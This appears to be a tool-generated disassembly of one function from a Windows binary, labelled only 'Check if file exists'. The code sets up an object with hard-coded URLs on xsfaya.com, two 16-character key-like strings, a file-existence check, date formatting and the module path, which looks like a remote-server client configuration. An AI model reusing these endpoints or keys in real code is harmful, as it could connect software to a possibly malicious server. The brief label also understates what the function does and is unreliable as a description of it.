Function at 0x1003ae20
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10260837
mov eax, dword fs:[0]
push eax
sub esp, 0x188
mov eax, dword [0x102fb070]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x18c], ecx
call fcn.10007c10
mov ebx, eax
test ebx, ebx
je 0x1003b4d5
sub esp, 0x18
xor eax, eax
mov esi, esp
push 0x3a8
sub esp, 0x18
mov ecx, esp
push 0x20
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.http:__ott.xsfaya.com_uiz8lele9u
mov word [ecx], ax
call fcn.10006680
push esi
call fcn.1005cca9
mov eax, dword [ebx]
add esp, 0x20
mov ecx, ebx
call dword [eax + 0x14]
sub esp, 0x18
xor eax, eax
mov esi, esp
push 0x3a8
sub esp, 0x18
mov ecx, esp
push 0x20
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.http:__jto.xsfaya.com_uiz8lele9u
mov word [ecx], ax
call fcn.10006680
push esi
call fcn.1005cca9
mov eax, dword [ebx]
add esp, 0x20
mov ecx, ebx
call dword [eax + 0x18]
sub esp, 0x18
xor eax, eax
mov esi, esp
push 0x3a8
sub esp, 0x18
mov ecx, esp
push 0x21
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.http:__ott.xsfaya.com_microtime__
mov word [ecx], ax
call fcn.10006680
push esi
call fcn.1005cca9
mov eax, dword [ebx]
add esp, 0x20
mov ecx, ebx
call dword [eax + 0x1c]
sub esp, 0x18
xor eax, eax
mov esi, esp
push 0x3a8
sub esp, 0x18
mov ecx, esp
push 2
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push 0x102deabc
mov word [ecx], ax
call fcn.10006680
push esi
call fcn.1005cca9
mov eax, dword [ebx]
add esp, 0x20
mov ecx, ebx
call dword [eax + 8]
sub esp, 0x18
mov esi, esp
push 0x3a8
sub esp, 0x18
xor eax, eax
mov ecx, esp
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
mov word [ecx], ax
push 0x10
push str.wgoJTFlP0LV9yTbT
call fcn.10006680
push esi
call fcn.1005cca9
mov eax, dword [ebx]
add esp, 0x20
mov ecx, ebx
call dword [eax + 0x20]
sub esp, 0x18
xor eax, eax
mov esi, esp
push 0x3a8
sub esp, 0x18
mov ecx, esp
push 0x10
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.d8WPzgTzTF60jlM3
mov word [ecx], ax
call fcn.10006680
push esi
call fcn.1005cca9
mov eax, dword [ebx]
add esp, 0x20
mov ecx, ebx
call dword [eax + 0x24]
sub esp, 0x18
xor eax, eax
mov esi, esp
push 0x3a8
sub esp, 0x18
mov ecx, esp
push 0x10
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push 0x102dfc1c
mov word [ecx], ax
call fcn.10006680
push esi
call fcn.1005cca9
mov eax, dword [ebx]
add esp, 0x20
mov ecx, ebx
call dword [eax + 0x28]
sub esp, 0x18
xor eax, eax
mov esi, esp
push 0x3a8
sub esp, 0x18
mov ecx, esp
push 0x10
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push 0x102dfc40
mov word [ecx], ax
call fcn.10006680
push esi
call fcn.1005cca9
mov eax, dword [ebx]
add esp, 0x20
mov ecx, ebx
call dword [eax + 0x2c]
sub esp, 0x18
mov esi, esp
push 0x3a8
sub esp, 0x18
push esp
call fcn.10010ce0
mov ecx, eax
call fcn.10066afb
push esi
call fcn.1005cca9
mov eax, dword [ebx]
add esp, 0x20
mov ecx, ebx
call dword [eax + 4]
sub esp, 0x18
push esp
call fcn.10079e9a
add esp, 4
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x10]
sub esp, 0x18
mov esi, esp
call fcn.1006ec3c
push eax
push esi
call fcn.1005ac4b
mov eax, dword [ebx]
add esp, 8
mov ecx, ebx
call dword [eax + 0x30]
sub esp, 0x18
mov esi, esp
call fcn.10010ce0
mov ecx, eax
call fcn.1006665b
push eax
push esi
call fcn.1005ac4b
mov eax, dword [ebx]
add esp, 8
mov ecx, ebx
call dword [eax + 0x40]
sub esp, 0x18
mov esi, esp
push 0x3a8
sub esp, 0x18
push esp
call fcn.10010ce0
mov ecx, eax
call fcn.100664f5
push esi
call fcn.1005cca9
mov eax, dword [ebx]
add esp, 0x20
mov ecx, ebx
call dword [eax + 0x38]
lea eax, [ebp - 0x12c]
push eax
call fcn.10007d80
mov ecx, eax
call fcn.1006148d
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x118]
mov eax, edx
mov ecx, dword [ebp - 0x11c]
sub eax, ecx
cmp eax, 5
jb 0x1003b15a
cmp edx, 8
lea esi, [ebp - 0x12c]
push 0xa
cmovae esi, dword [ebp - 0x12c]
lea edi, [ecx + 5]
push str.cacje
mov dword [ebp - 0x11c], edi
lea eax, [esi + ecx*2]
push eax
call fcn.100ccba0
add esp, 0xc
xor eax, eax
mov word [esi + edi*2], ax
jmp 0x1003b17b
push 5
push str.cacje
mov byte [ebp - 0x188], 0
lea ecx, [ebp - 0x12c]
push dword [ebp - 0x188]
push 5
call fcn.10008770
mov edx, dword [ebp - 0x118]
mov eax, edx
mov ecx, dword [ebp - 0x11c]
sub eax, ecx
cmp eax, 1
jb 0x1003b1c4
cmp edx, 8
lea esi, [ebp - 0x12c]
push 2
cmovae esi, dword [ebp - 0x12c]
lea edi, [ecx + 1]
push 0x102ddc5c
mov dword [ebp - 0x11c], edi
lea eax, [esi + ecx*2]
push eax
call fcn.100ccba0
add esp, 0xc
xor eax, eax
mov word [esi + edi*2], ax
jmp 0x1003b1e5
push 1
push 0x102ddc5c
mov byte [ebp - 0x188], 0
lea ecx, [ebp - 0x12c]
push dword [ebp - 0x188]
push 1
call fcn.10008770
cmp dword [ebp - 0x118], 8
lea eax, [ebp - 0x12c]
cmovae eax, dword [ebp - 0x12c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x1003b254
mov dword [ebp - 0x160], eax
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x184]
cmp dword [ebp - 0x118], 8
lea eax, [ebp - 0x12c]
push ecx
cmovae eax, dword [ebp - 0x12c]
push eax
call fcn.1006a4a9
mov byte [ebp - 4], 0
add esp, 8
mov ecx, dword [ebp - 0x160]
test ecx, ecx
je 0x1003b254
mov edx, dword [ecx]
lea eax, [ebp - 0x184]
cmp ecx, eax
setne al
movzx eax, al
push eax
call dword [edx + 0x10]
sub esp, 0x18
lea eax, [ebp - 0x12c]
mov esi, esp
push 0x3a8
sub esp, 0x18
mov ecx, esp
push eax
call fcn.10022100
push esi
call fcn.1005cca9
mov eax, dword [ebx]
add esp, 0x20
mov ecx, ebx
call dword [eax + 0x3c]
mov eax, dword [ebx]
mov ecx, ebx
push dword [ebp - 0x18c]
call dword [eax + 0x44]
sub esp, 0x18
push esp
call fcn.10010ce0
mov ecx, eax
call fcn.10066215
call fcn.1005bdd7
mov dword [ebp - 0x194], eax
lea eax, [ebp - 0x194]
push eax
mov dword [ebp - 0x190], edx
call fcn.100e3f38
push dword [eax + 0xc]
mov ecx, dword [eax + 0x10]
mov eax, dword [eax + 0x14]
inc ecx
push ecx
add eax, 0x76c
push eax
lea eax, [ebp - 0x15c]
push str._d_.2d_.2d
push eax
call fcn.1005a987
add esp, 0x18
mov byte [ebp - 4], 2
lea eax, [ebp - 0x15c]
mov ecx, esp
push eax
call fcn.10004c70
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x34]
push 0x104
lea eax, [ebp - 0x114]
push 0
push eax
call fcn.100cd120
add esp, 0xc
lea eax, [ebp - 0x114]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x130], 0xf
mov byte [ebp - 0x144], 0
mov byte [ebp - 4], 3
lea eax, [ebp - 0x114]
mov dword [ebp - 0x164], 0
lea edx, [eax + 1]
mov dword [ebp - 0x160], 0xf
mov byte [ebp - 0x174], 0
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1003b364
sub eax, edx
lea ecx, [ebp - 0x174]
push eax
lea eax, [ebp - 0x114]
push eax
call fcn.10006d00
lea eax, [ebp - 0x144]
mov byte [ebp - 4], 4
push eax
lea eax, [ebp - 0x174]
push eax
call fcn.1006c91d
mov byte [ebp - 4], 3
add esp, 8
mov edx, dword [ebp - 0x160]
cmp edx, 0x10
jb 0x1003b3d8
mov ecx, dword [ebp - 0x174]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1003b3ce
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003b4f1
push edx
push ecx
call fcn.10053aa5
add esp, 8
sub esp, 0x18
lea eax, [ebp - 0x144]
mov ecx, esp
push eax
call fcn.10004c70
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax]
mov edx, dword [ebp - 0x130]
cmp edx, 0x10
jb 0x1003b429
mov ecx, dword [ebp - 0x144]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1003b41f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003b4f6
push edx
push ecx
call fcn.10053aa5
add esp, 8
mov edx, dword [ebp - 0x148]
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x130], 0xf
mov byte [ebp - 0x144], 0
cmp edx, 0x10
jb 0x1003b47e
mov ecx, dword [ebp - 0x15c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1003b474
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003b4fb
push edx
push ecx
call fcn.10053aa5
add esp, 8
mov edx, dword [ebp - 0x118]
mov dword [ebp - 0x14c], 0
mov dword [ebp - 0x148], 0xf
mov byte [ebp - 0x15c], 0
cmp edx, 8
jb 0x1003b4d5
mov ecx, dword [ebp - 0x12c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x1003b4cb
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003b500
push edx
push ecx
call fcn.10053aa5
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10053a94
mov esp, ebp
pop ebp
ret
call fcn.100d7e3e
call fcn.100d7e3e
call fcn.100d7e3e
call fcn.100d7e3e
int3